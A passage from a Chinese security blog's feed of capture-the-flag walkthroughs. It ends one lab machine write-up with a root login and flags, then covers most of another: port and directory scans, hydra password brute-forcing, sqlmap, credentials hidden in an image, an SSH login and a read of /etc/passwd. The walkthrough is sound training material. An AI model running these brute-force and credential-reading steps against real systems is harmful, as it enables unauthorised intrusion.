    .catch((error) =&amp;gt; console.error(&amp;quot;Error fetching content:&amp;quot;, error));
});

function showOverlay() {
  document.getElementById(&amp;quot;overlay&amp;quot;).classList.add(&amp;quot;show-overlay&amp;quot;);
}

function hideOverlay() {
  document.getElementById(&amp;quot;overlay&amp;quot;).classList.remove(&amp;quot;show-overlay&amp;quot;);
}

window.activateFeature = function () {
  var contentDiv = document.getElementById(&amp;quot;protected-content&amp;quot;);
  var protectedContent = contentDiv.getAttribute(&amp;quot;data-content&amp;quot;);
  if (protectedContent) {
    contentDiv.innerHTML = protectedContent;
    contentDiv.style.background = &amp;quot;none&amp;quot;;
    contentDiv.style.color = &amp;quot;#333&amp;quot;;
    contentDiv.classList.remove(&amp;quot;blurred&amp;quot;);
    hideOverlay();
  } else {
    console.error(&amp;quot;No content available&amp;quot;);
  }
};

document.addEventListener(&amp;quot;keydown&amp;quot;, function (event) {
  if (event.key === &amp;quot;Escape&amp;quot;) {
    hideOverlay();
  }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;F12可以看到隐藏的内容，得到信息&lt;/p&gt;
&lt;p&gt;LightningBolt123&lt;/p&gt;
&lt;p&gt;利用登录root&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;root@jo2024:/home/vanity# cat user.txt 
e2cb9d6e0899cde91130ca4b37139021

root@jo2024:~# cat root.txt 
cbd60dab37bc85e1f7ea4b5c9c4eed90
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/jo2024/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/jo2024/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Fri, 23 Jan 2026 00:00:00 GMT</pubDate></item><item><title>MazeSec-Guoqing</title><link>https://heathc1iff-sec.github.io/blog/qq-group/guoqing/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/qq-group/guoqing/</guid><description>QQ Group Virtual Machine</description><content:encoded>&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;rustscan扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# rustscan -a 192.168.0.101 -- -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-&amp;#39; `-&amp;#39;`-----&amp;#39;`----&amp;#39;  `-&amp;#39;  `----&amp;#39;  `---&amp;#39; `-&amp;#39;  `-&amp;#39;`-&amp;#39; `-&amp;#39;
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at &amp;quot;/root/.rustscan.toml&amp;quot;
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan&amp;#39;s speed. Use the Docker image, or up the Ulimit with &amp;#39;--ulimit 5000&amp;#39;. 
Open 192.168.0.101:22
Open 192.168.0.101:80
[~] Starting Script(s)
[&amp;gt;] Running script &amp;quot;nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A&amp;quot; on ip 192.168.0.101
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-17 05:27 EST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 05:27
Completed NSE at 05:27, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 05:27
Completed NSE at 05:27, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 05:27
Completed NSE at 05:27, 0.00s elapsed
Initiating ARP Ping Scan at 05:27
Scanning 192.168.0.101 [1 port]
Completed ARP Ping Scan at 05:27, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 05:27
Completed Parallel DNS resolution of 1 host. at 05:27, 0.03s elapsed
DNS resolution of 1 IPs took 0.03s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 05:27
Scanning 192.168.0.101 [2 ports]
Discovered open port 22/tcp on 192.168.0.101
Discovered open port 80/tcp on 192.168.0.101
Completed SYN Stealth Scan at 05:27, 0.02s elapsed (2 total ports)
Initiating Service scan at 05:27
Scanning 2 services on 192.168.0.101
Completed Service scan at 05:27, 6.03s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 192.168.0.101
NSE: Script scanning 192.168.0.101.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 05:27
Completed NSE at 05:27, 0.36s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 05:27
Completed NSE at 05:27, 0.01s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 05:27
Completed NSE at 05:27, 0.00s elapsed
Nmap scan report for 192.168.0.101
Host is up, received arp-response (0.00041s latency).
Scanned at 2026-01-17 05:27:40 EST for 8s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRmicDuAIhDTuUUa37WCIEK2z2F1aDUtiJpok20zMzkbe1B41ZvvydX3JHjf7mgl0F/HRQlGHiA23Il+dwr0YbbBa2ggd5gDl95RSHhuUff/DIC10OFbP3YU8A4ItFb8pR6dN8jr+zU1SZvfx6FWApSkTJmeLPq9PN889+ibvckJcOMqrm1Y05FW2VCWn8QRvwivnuW7iU51IVz7arFe8JShXOLu0ANNqZEXyJyWjaK+MqyOK6ZtoWdyinEQFua81+tBZuvS+qb+AG15/h5hBsS/tUgVk5SieY6cCRvkYFHB099e1ggrigfnN4Kq2GvzRUYkegjkPzJFQ7BhPyxT/kDKrlVcLX54sXrp0poU5R9SqSnnESXVM4HQfjIIjTrJFufc2nBF+4f8dH3qtQ+jJkcPEKNVSKKEDULEk1BSBdokhh1GidxQY7ok+hEb9/wPmo6RBeb1d5t11SP8R5UHyI/yucRpS2M8hpBaovJv8pX1VwpOz3tUDJWCpkB3K8HDk=
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI2Hl4ZEYgnoDQflo03hI6346mXex6OPxHEjxDufHbkQZVosDPFwZttA8gloBLYLtvDVo9LZZwtv7F/EIiQoIHE=
|   256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILRLvZKpSJkETalR4sqzJOh8a4ivZ8wGt1HfdV3OMNY1
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))
|_http-title: \xE9\x9D\x9E\xE4\xB8\xBB\xE6\xB5\x81\xE7\x82\xAB\xE9\x85\xB7\xE7\xA9\xBA\xE9\x97\xB4 | \xE6\xAC\xA2\xE8\xBF\x8E\xE5\x85\x89\xE4\xB8\xB4
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:85:7C:03 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/17%OT=22%CT=%CU=39195%PV=Y%DS=1%DC=D%G=N%M=080027
OS:%TM=696B6424%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10C%TI=Z%CI=Z%II
OS:=I%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7
OS:%O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%
OS:W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S
OS:=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%R
OS:D=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=
OS:0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U
OS:1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DF
OS:I=N%T=40%CD=S)

Uptime guess: 7.338 days (since Fri Jan  9 21:21:48 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.41 ms 192.168.0.101

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 05:27
Completed NSE at 05:27, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 05:27
Completed NSE at 05:27, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 05:27
Completed NSE at 05:27, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.26 seconds
           Raw packets sent: 25 (1.894KB) | Rcvd: 17 (1.366KB)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80端口&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/qq%20group/Guoqing-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;我嘞个豆&lt;/p&gt;
&lt;h3&gt;目录扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# gobuster dir -u 192.168.0.101 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js,yaml -t 64
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.0.101
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              yaml,php,txt,html,zip,db,bak,js
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 278]
/.php                 (Status: 403) [Size: 278]
/index.html           (Status: 200) [Size: 9042]
/login.php            (Status: 200) [Size: 2771]
/logout.php           (Status: 302) [Size: 0] [--&amp;gt; login.php]                                                   
/dashboard.php        (Status: 302) [Size: 0] [--&amp;gt; login.php] 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# dirsearch -u http://192.168.0.101                
/root/.pyenv/versions/3.11.9/envs/web/lib/python3.11/site-packages/dirsearch/dirsearch.py:23: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools&amp;lt;81.
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3.post1
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET
Threads: 25 | Wordlist size: 11460

Output File: /home/kali/reports/http_192.168.0.101/_26-01-17_05-28-59.txt

Target: http://192.168.0.101/

[05:28:59] Starting: 
[05:29:00] 403 -  278B  - /.ht_wsr.txt
[05:29:00] 403 -  278B  - /.htaccess.bak1
[05:29:00] 403 -  278B  - /.htaccess.orig
[05:29:00] 403 -  278B  - /.htaccess.save
[05:29:00] 403 -  278B  - /.htaccess_extra
[05:29:00] 403 -  278B  - /.htaccess.sample
[05:29:00] 403 -  278B  - /.htaccess_orig
[05:29:00] 403 -  278B  - /.htaccess_sc
[05:29:00] 403 -  278B  - /.htaccessOLD2
[05:29:00] 403 -  278B  - /.htaccessOLD
[05:29:00] 403 -  278B  - /.htaccessBAK
[05:29:00] 403 -  278B  - /.htm
[05:29:00] 403 -  278B  - /.html
[05:29:00] 403 -  278B  - /.htpasswd_test
[05:29:00] 403 -  278B  - /.htpasswds
[05:29:00] 403 -  278B  - /.httr-oauth
[05:29:01] 403 -  278B  - /.php
[05:29:15] 302 -    0B  - /dashboard.php  -&amp;gt;  login.php
[05:29:25] 200 -  937B  - /login.php
[05:29:26] 302 -    0B  - /logout.php  -&amp;gt;  login.php
[05:29:42] 403 -  278B  - /server-status
[05:29:42] 403 -  278B  - /server-status/

Task Completed 
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;/login.php&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/qq%20group/Guoqing-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;POST /login.php HTTP/1.1

Host: 192.168.0.101

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 29

Origin: http://192.168.0.101

Connection: keep-alive

Referer: http://192.168.0.101/login.php

Cookie: PHPSESSID=g7hip4qlponncgkf301noj3mdp

Upgrade-Insecure-Requests: 1

Priority: u=0, i

username=admin&amp;amp;password=admin
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;HTTP/1.1 200 OK

Date: Sat, 17 Jan 2026 10:33:01 GMT
Server: Apache/2.4.62 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 2841
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8



&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&amp;quot;zh-CN&amp;quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&amp;quot;UTF-8&amp;quot;&amp;gt;
    &amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width, initial-scale=1.0&amp;quot;&amp;gt;
    &amp;lt;title&amp;gt;登录系统&amp;lt;/title&amp;gt;

&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class=&amp;quot;login-container&amp;quot;&amp;gt;
        &amp;lt;h2&amp;gt;系统登录&amp;lt;/h2&amp;gt;
        
                    &amp;lt;div class=&amp;quot;error&amp;quot;&amp;gt;用户名或密码错误&amp;lt;/div&amp;gt;
                
        &amp;lt;form method=&amp;quot;POST&amp;quot; action=&amp;quot;login.php&amp;quot;&amp;gt;
            &amp;lt;div class=&amp;quot;form-group&amp;quot;&amp;gt;
                &amp;lt;label for=&amp;quot;username&amp;quot;&amp;gt;用户名&amp;lt;/label&amp;gt;
                &amp;lt;input type=&amp;quot;text&amp;quot; id=&amp;quot;username&amp;quot; name=&amp;quot;username&amp;quot; required autofocus&amp;gt;
            &amp;lt;/div&amp;gt;
            
            &amp;lt;div class=&amp;quot;form-group&amp;quot;&amp;gt;
                &amp;lt;label for=&amp;quot;password&amp;quot;&amp;gt;密码&amp;lt;/label&amp;gt;
                &amp;lt;input type=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; name=&amp;quot;password&amp;quot; required&amp;gt;
            &amp;lt;/div&amp;gt;
            
            &amp;lt;button type=&amp;quot;submit&amp;quot; class=&amp;quot;btn&amp;quot;&amp;gt;登录&amp;lt;/button&amp;gt;
        &amp;lt;/form&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;hydra爆破-失败&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# hydra -l admin -P /usr/share/wordlists/rockyou.txt -f 192.168.0.101 http-post-form &amp;quot;/login.php:username=^USER^&amp;amp;password=^PASS^:用户名或密码错误&amp;quot; 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;hydra -l todd -P /usr/share/wordlists/rockyou.txt -f 192.168.0.101 http-post-form &amp;quot;/login.php:username=^USER^&amp;amp;password=^PASS^:用户名或密码错误&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Sqlmap尝试-失败&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# sqlmap -r post --batch  
        ___
       __H__
 ___ ___[&amp;#39;]_____ ___ ___  {1.10.1.47#dev}
|_ -| . [&amp;quot;]     | .&amp;#39;| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user&amp;#39;s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 05:38:26 /2026-01-17/

[05:38:26] [INFO] parsing HTTP request from &amp;#39;post&amp;#39;
[05:38:26] [INFO] testing connection to the target URL
[05:38:27] [INFO] checking if the target is protected by some kind of WAF/IPS
[05:38:27] [INFO] testing if the target URL content is stable
[05:38:28] [INFO] target URL content is stable
[05:38:28] [INFO] testing if POST parameter &amp;#39;username&amp;#39; is dynamic
[05:38:28] [WARNING] POST parameter &amp;#39;username&amp;#39; does not appear to be dynamic
[05:38:28] [WARNING] heuristic (basic) test shows that POST parameter &amp;#39;username&amp;#39; might not be injectable
[05:38:28] [INFO] testing for SQL injection on POST parameter &amp;#39;username&amp;#39;
[05:38:28] [INFO] testing &amp;#39;AND boolean-based blind - WHERE or HAVING clause&amp;#39;                                    
[05:38:28] [INFO] testing &amp;#39;Boolean-based blind - Parameter replace (original value)&amp;#39;                            
[05:38:28] [INFO] testing &amp;#39;MySQL &amp;gt;= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)&amp;#39;                                                    
[05:38:28] [INFO] testing &amp;#39;PostgreSQL AND error-based - WHERE or HAVING clause&amp;#39;                                 
[05:38:28] [INFO] testing &amp;#39;Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)&amp;#39;           
[05:38:28] [INFO] testing &amp;#39;Oracle AND error-based - WHERE or HAVING clause (XMLType)&amp;#39;                           
[05:38:28] [INFO] testing &amp;#39;Generic inline queries&amp;#39;
[05:38:28] [INFO] testing &amp;#39;PostgreSQL &amp;gt; 8.1 stacked queries (comment)&amp;#39;                                          
[05:38:28] [INFO] testing &amp;#39;Microsoft SQL Server/Sybase stacked queries (comment)&amp;#39;                               
[05:38:28] [INFO] testing &amp;#39;Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)&amp;#39;                        
[05:38:28] [INFO] testing &amp;#39;MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)&amp;#39;                                  
[05:38:28] [INFO] testing &amp;#39;PostgreSQL &amp;gt; 8.1 AND time-based blind&amp;#39;                                               
[05:38:28] [INFO] testing &amp;#39;Microsoft SQL Server/Sybase time-based blind (IF)&amp;#39;                                   
[05:38:28] [INFO] testing &amp;#39;Oracle AND time-based blind&amp;#39;
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
[05:38:28] [INFO] testing &amp;#39;Generic UNION query (NULL) - 1 to 10 columns&amp;#39;                                        
[05:38:28] [WARNING] POST parameter &amp;#39;username&amp;#39; does not seem to be injectable
[05:38:28] [INFO] testing if POST parameter &amp;#39;password&amp;#39; is dynamic
[05:38:29] [WARNING] POST parameter &amp;#39;password&amp;#39; does not appear to be dynamic
[05:38:29] [WARNING] heuristic (basic) test shows that POST parameter &amp;#39;password&amp;#39; might not be injectable
[05:38:29] [INFO] testing for SQL injection on POST parameter &amp;#39;password&amp;#39;
[05:38:29] [INFO] testing &amp;#39;AND boolean-based blind - WHERE or HAVING clause&amp;#39;                                    
[05:38:31] [INFO] testing &amp;#39;Boolean-based blind - Parameter replace (original value)&amp;#39;                            
[05:38:31] [INFO] testing &amp;#39;MySQL &amp;gt;= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)&amp;#39;                                                    
[05:38:32] [INFO] testing &amp;#39;PostgreSQL AND error-based - WHERE or HAVING clause&amp;#39;                                 
[05:38:33] [INFO] testing &amp;#39;Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)&amp;#39;           
[05:38:34] [INFO] testing &amp;#39;Oracle AND error-based - WHERE or HAVING clause (XMLType)&amp;#39;                           
[05:38:35] [INFO] testing &amp;#39;Generic inline queries&amp;#39;
[05:38:36] [INFO] testing &amp;#39;PostgreSQL &amp;gt; 8.1 stacked queries (comment)&amp;#39;                                          
[05:38:36] [INFO] testing &amp;#39;Microsoft SQL Server/Sybase stacked queries (comment)&amp;#39;                               
[05:38:37] [INFO] testing &amp;#39;Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)&amp;#39;                        
[05:38:38] [INFO] testing &amp;#39;MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)&amp;#39;                                  
[05:38:40] [INFO] testing &amp;#39;PostgreSQL &amp;gt; 8.1 AND time-based blind&amp;#39;                                               
[05:38:41] [INFO] testing &amp;#39;Microsoft SQL Server/Sybase time-based blind (IF)&amp;#39;                                   
[05:38:42] [INFO] testing &amp;#39;Oracle AND time-based blind&amp;#39;
[05:38:44] [INFO] testing &amp;#39;Generic UNION query (NULL) - 1 to 10 columns&amp;#39;                                        
[05:38:46] [WARNING] POST parameter &amp;#39;password&amp;#39; does not seem to be injectable
[05:38:46] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for &amp;#39;--level&amp;#39;/&amp;#39;--risk&amp;#39; options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option &amp;#39;--tamper&amp;#39; (e.g. &amp;#39;--tamper=space2comment&amp;#39;) and/or switch &amp;#39;--random-agent&amp;#39;

[*] ending @ 05:38:46 /2026-01-17/
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;图片隐写&lt;/h3&gt;
&lt;p&gt;提取首页的todd图片&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/qq%20group/Guoqing-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# binwalk todd.png  

                                          /home/kali/Desktop/hmv/todd.png
-------------------------------------------------------------------------------------------------------------------
DECIMAL                            HEXADECIMAL                        DESCRIPTION
-------------------------------------------------------------------------------------------------------------------
0                                  0x0                                PNG image, total size: 12928 bytes
-------------------------------------------------------------------------------------------------------------------

Analyzed 1 file for 85 file signatures (187 magic patterns) in 2.0 milliseconds

                                                                                                                   
┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# strings todd.png 

....
/T1i
5iMZ
IEND
todd:toddishandsome
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看到最下面一行todd:toddishandsome&lt;/p&gt;
&lt;p&gt;尝试登录获得凭据&lt;/p&gt;
&lt;p&gt;admin/toddishandsome&lt;/p&gt;
&lt;h3&gt;/dashboard.php&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&amp;quot;zh-CN&amp;quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&amp;quot;UTF-8&amp;quot;&amp;gt;
    &amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width, initial-scale=1.0&amp;quot;&amp;gt;
    &amp;lt;title&amp;gt;仪表盘&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class=&amp;quot;header&amp;quot;&amp;gt;
        &amp;lt;h1&amp;gt;系统仪表盘&amp;lt;/h1&amp;gt;
    &amp;lt;/div&amp;gt;
    
    &amp;lt;div class=&amp;quot;container&amp;quot;&amp;gt;
        &amp;lt;div class=&amp;quot;welcome&amp;quot;&amp;gt;
            欢迎, admin!
        &amp;lt;/div&amp;gt;
        
        &amp;lt;div class=&amp;quot;card&amp;quot;&amp;gt;
            &amp;lt;h3&amp;gt;系统信息&amp;lt;/h3&amp;gt;
            &amp;lt;p&amp;gt;您已成功登录系统。这是一个简单的仪表盘页面，用于演示目的。&amp;lt;/p&amp;gt;
        &amp;lt;/div&amp;gt;
       &amp;lt;!-- 
        &amp;lt;div class=&amp;quot;card&amp;quot;&amp;gt;
            &amp;lt;a href=&amp;quot;hyh&amp;quot; class=&amp;quot;hyhforever&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;
        &amp;lt;/div&amp;gt;
        --&amp;gt;
        &amp;lt;div class=&amp;quot;card&amp;quot;&amp;gt;
            &amp;lt;h3&amp;gt;账户操作&amp;lt;/h3&amp;gt;
            &amp;lt;a href=&amp;quot;logout.php&amp;quot; class=&amp;quot;btn&amp;quot;&amp;gt;退出登录&amp;lt;/a&amp;gt;
        &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现被注释的一段&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;lt;!-- 
&amp;lt;div class=&amp;quot;card&amp;quot;&amp;gt;
    &amp;lt;a href=&amp;quot;hyh&amp;quot; class=&amp;quot;hyhforever&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;
&amp;lt;/div&amp;gt;
--&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;部分&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;href=&amp;quot;hyh&amp;quot;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;非常可疑的路径&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;class=&amp;quot;hyhforever&amp;quot;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;明确是“彩蛋/后门”命名&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;被注释&lt;/td&gt;
&lt;td&gt;防止普通用户看到&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;👉 &lt;strong&gt;结论：&lt;/strong&gt;&lt;code&gt;**/hyh**&lt;/code&gt;** 是你下一步要打的点**&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这里fuff了半天没出&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;ssh登录&lt;/h2&gt;
&lt;p&gt;hyh/hyhforever&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;hyh@Guoqing:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
